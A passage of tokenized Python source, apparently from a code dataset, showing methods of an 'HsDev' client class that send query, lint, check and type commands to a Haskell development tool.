":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "remove", "-", "all", "'_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "list", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "list", "\\u", "modules_", "(_", "self_", ",_", "project_", "=_", "None_", ",_", "file_", "=_", "None_", ",_", "module_", "=_", "None_", ",_", "deps_", "=_", "None_", ",_", "sandbox_", "=_", "None_", ",_", "cab", "al_", "=_", "False_", ",_", "db_", "=_", "None_", ",_", "package_", "=_", "None_", ",_", "source_", "=_", "False_", ",_", "standalone", "_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "project_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "project", "'_", ":_", "project_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "file_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "file", "'_", ":_", "file_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "module_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "module", "'_", ":_", "module_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "deps_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "dep", "s", "'_", ":_", "deps_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "sandbox_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "cab", "al", "'_", ":_", "{_", "'", "sand", "box", "'_", ":_", "sandbox_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "cab", "al_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "cab", "al", "'_", ":_", "'", "cab", "al", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "db_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "db", "'_", ":_", "encode", "\\u", "package", "\\u", "db_", "(_", "db_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "package_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "package", "'_", ":_", "package_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "source_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "'", "sourced", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "standalone", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "'", "standalone", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "cmd_", "(_", "'", "module", "s", "'_", ",_", "{_", "'", "filter", "s", "'_", ":_", "fs_", "}_", ",_", "parse", "\\u", "module", "s", "\\u", "brief", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "list", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "list", "\\u", "packages_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "package", "s", "'_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "list", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "list", "\\u", "projects_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "project", "s", "'_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "list", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "symbol_", "(_", "self_", ",_", "input_", "=_", "\"\"_", ",_", "search", "\\u", "type_", "=_", "'", "prefix", "'_", ",_", "project_", "=_", "None_", ",_", "file_", "=_", "None_", ",_", "module_", "=_", "None_", ",_", "deps_", "=_", "None_", ",_", "sandbox_", "=_", "None_", ",_", "cab", "al_", "=_", "False_", ",_", "db_", "=_", "None_", ",_", "package_", "=_", "None_", ",_", "source_", "=_", "False_", ",_", "standalone", "_", "=_", "False_", ",_", "locals_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "search", "\\u", "type", " ", "is", " ", "one", " ", "of", ":", " ", "exact", ",", " ", "prefix", ",", " ", "infix", ",", " ", "suff", "ix", ",", " ", "regex_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "q_", "=_", "{_", "'", "input", "'_", ":_", "input_", ",_", "'", "type", "'_", ":_", "search", "\\u", "type_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fs_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "project_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "project", "'_", ":_", "project_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "file_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "file", "'_", ":_", "file_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "module_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "module", "'_", ":_", "module_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "deps_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "dep", "s", "'_", ":_", "deps_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "sandbox_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "cab", "al", "'_", ":_", "{_", "'", "sand", "box", "'_", ":_", "sandbox_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "cab", "al_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "cab", "al", "'_", ":_", "'", "cab", "al", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "db_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "db", "'_", ":_", "encode", "\\u", "package", "\\u", "db_", "(_", "db_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "package_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "package", "'_", ":_", "package_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "source_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "'", "sourced", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "standalone", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "'", "standalone", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "cmd_", "(_", "'", "symbol", "'_", ",_", "{_", "'", "query", "'_", ":_", "q_", ",_", "'", "filter", "s", "'_", ":_", "fs_", ",_", "'", "locals", "'_", ":_", "locals_", "}_", ",_", "parse", "\\u", "decl", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "module_", "(_", "self_", ",_", "input_", "=_", "\"\"_", ",_", "search", "\\u", "type_", "=_", "'", "prefix", "'_", ",_", "project_", "=_", "None_", ",_", "file_", "=_", "None_", ",_", "module_", "=_", "None_", ",_", "deps_", "=_", "None_", ",_", "sandbox_", "=_", "None_", ",_", "cab", "al_", "=_", "False_", ",_", "db_", "=_", "None_", ",_", "package_", "=_", "None_", ",_", "source_", "=_", "False_", ",_", "standalone", "_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "q_", "=_", "{_", "'", "input", "'_", ":_", "input_", ",_", "'", "type", "'_", ":_", "search", "\\u", "type_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fs_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "project_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "project", "'_", ":_", "project_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "file_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "file", "'_", ":_", "file_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "module_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "module", "'_", ":_", "module_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "deps_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "dep", "s", "'_", ":_", "deps_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "sandbox_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "cab", "al", "'_", ":_", "{_", "'", "sand", "box", "'_", ":_", "sandbox_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "cab", "al_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "cab", "al", "'_", ":_", "'", "cab", "al", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "db_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "db", "'_", ":_", "encode", "\\u", "package", "\\u", "db_", "(_", "db_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "package_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "{_", "'", "package", "'_", ":_", "package_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "source_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "'", "sourced", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "standalone", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fs_", "._", "append_", "(_", "'", "standalone", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "cmd_", "(_", "'", "module", "'_", ",_", "{_", "'", "query", "'_", ":_", "q_", ",_", "'", "filter", "s", "'_", ":_", "fs_", "}_", ",_", "parse", "\\u", "modules_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "resolve_", "(_", "self_", ",_", "file_", ",_", "exports_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "resolve", "'_", ",_", "{_", "'", "file", "'_", ":_", "file_", ",_", "'", "export", "s", "'_", ":_", "exports_", "}_", ",_", "parse", "\\u", "module_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "project_", "(_", "self_", ",_", "project_", "=_", "None_", ",_", "path_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "project", "'_", ",_", "{_", "'", "name", "'_", ":_", "project_", "}_", "if_", "project_", "else_", "{_", "'", "path", "'_", ":_", "path_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "sandbox_", "(_", "self_", ",_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "sand", "box", "'_", ",_", "{_", "'", "path", "'_", ":_", "path_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "list", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "lookup_", "(_", "self_", ",_", "name_", ",_", "file_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "look", "up", "'_", ",_", "{_", "'", "name", "'_", ":_", "name_", ",_", "'", "file", "'_", ":_", "file_", "}_", ",_", "parse", "\\u", "decl", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "list", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "who", "is_", "(_", "self_", ",_", "name_", ",_", "file_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "who", "is", "'_", ",_", "{_", "'", "name", "'_", ":_", "name_", ",_", "'", "file", "'_", ":_", "file_", "}_", ",_", "parse", "\\u", "declarations_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "list", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "scope", "\\u", "modules_", "(_", "self_", ",_", "file_", ",_", "input_", "=_", "''_", ",_", "search", "\\u", "type_", "=_", "'", "prefix", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "scope", " ", "module", "s", "'_", ",_", "{_", "'", "query", "'_", ":_", "{_", "'", "input", "'_", ":_", "input_", ",_", "'", "type", "'_", ":_", "search", "\\u", "type_", "}_", ",_", "'", "file", "'_", ":_", "file_", "}_", ",_", "parse", "\\u", "module", "s", "\\u", "brief", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "list", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "scope_", "(_", "self_", ",_", "file_", ",_", "input_", "=_", "''_", ",_", "search", "\\u", "type_", "=_", "'", "prefix", "'_", ",_", "global", "\\u", "scope_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "scope", "'_", ",_", "{_", "'", "query", "'_", ":_", "{_", "'", "input", "'_", ":_", "input_", ",_", "'", "type", "'_", ":_", "search", "\\u", "type_", "}_", ",_", "'", "global", "'_", ":_", "global", "\\u", "scope_", ",_", "'", "file", "'_", ":_", "file_", "}_", ",_", "parse", "\\u", "declarations_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "list", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "complete_", "(_", "self_", ",_", "input_", ",_", "file_", ",_", "wide", "_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "complete", "'_", ",_", "{_", "'", "prefix", "'_", ":_", "input_", ",_", "'", "wide", "'_", ":_", "wide", "_", ",_", "'", "file", "'_", ":_", "file_", "}_", ",_", "parse", "\\u", "declarations_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "list", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "hay", "oo_", "(_", "self_", ",_", "query_", ",_", "page_", "=_", "None_", ",_", "pages_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "hay", "oo", "'_", ",_", "{_", "'", "query", "'_", ":_", "query_", ",_", "'", "page", "'_", ":_", "page_", "or_", "0_", ",_", "'", "page", "s", "'_", ":_", "pages_", "or_", "1_", "}_", ",_", "parse", "\\u", "decl", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "list", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "cab", "al", "\\u", "list_", "(_", "self_", ",_", "packages_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cmd_", "(_", "'", "cab", "al", " ", "list", "'_", ",_", "{_", "'", "package", "s", "'_", ":_", "packages_", "}_", ",_", "lambda_", "r_", ":_", "[_", "parse", "\\u", "cab", "al", "\\u", "package_", "(_", "s_", ")_", "for_", "s_", "in_", "r_", "]_", "if_", "r_", "else_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "list", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "lint_", "(_", "self_", ",_", "files_", "=_", "[_", "]_", ",_", "contents_", "=_", "{_", "}_", ",_", "hli", "nt_", "=_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "lint", "'_", ",_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "files", "'_", ":_", "files_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "s", "'_", ":_", "[_", "{_", "'", "file", "'_", ":_", "f_", ",_", "'", "content", "s", "'_", ":_", "cts_", "}_", "for_", "f_", ",_", "cts_", "in_", "contents_", "._", "items_", "(_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "hli", "nt", "-", "opts", "'_", ":_", "hli", "nt_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "list", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "check_", "(_", "self_", ",_", "files_", "=_", "[_", "]_", ",_", "contents_", "=_", "{_", "}_", ",_", "gh", "c_", "=_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "check", "'_", ",_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "files", "'_", ":_", "files_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "s", "'_", ":_", "[_", "{_", "'", "file", "'_", ":_", "f_", ",_", "'", "content", "s", "'_", ":_", "cts_", "}_", "for_", "f_", ",_", "cts_", "in_", "contents_", "._", "items_", "(_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "gh", "c", "-", "opts", "'_", ":_", "gh", "c_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "list", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "check", "\\u", "lint_", "(_", "self_", ",_", "files_", "=_", "[_", "]_", ",_", "contents_", "=_", "{_", "}_", ",_", "gh", "c_", "=_", "[_", "]_", ",_", "hli", "nt_", "=_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "check", "-", "lint", "'_", ",_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "files", "'_", ":_", "files_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "s", "'_", ":_", "[_", "{_", "'", "file", "'_", ":_", "f_", ",_", "'", "content", "s", "'_", ":_", "cts_", "}_", "for_", "f_", ",_", "cts_", "in_", "contents_", "._", "items_", "(_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "gh", "c", "-", "opts", "'_", ":_", "gh", "c_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "hli", "nt", "-", "opts", "'_", ":_", "hli", "nt_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "list", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "types_", "(_", "self_", ",_", "files_", "=_", "[_", "]_", ",_", "contents_", "=_", "{_", "}_", ",_", "gh", "c_", "=_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "types", "'_", ",_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "files", "'_", ":_", "files_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "s", "'_", ":_", "[_", "{_", "'", "file", "'_", ":_", "f_", ",_", "'", "content", "s", "'_", ":_", "cts_", "}_", "for_", "f_", ",_", "cts_", "in_", "contents_", "._", "items_", "(_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "gh", "c", "-", "opts", "'_", ":_", "gh", "c_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", 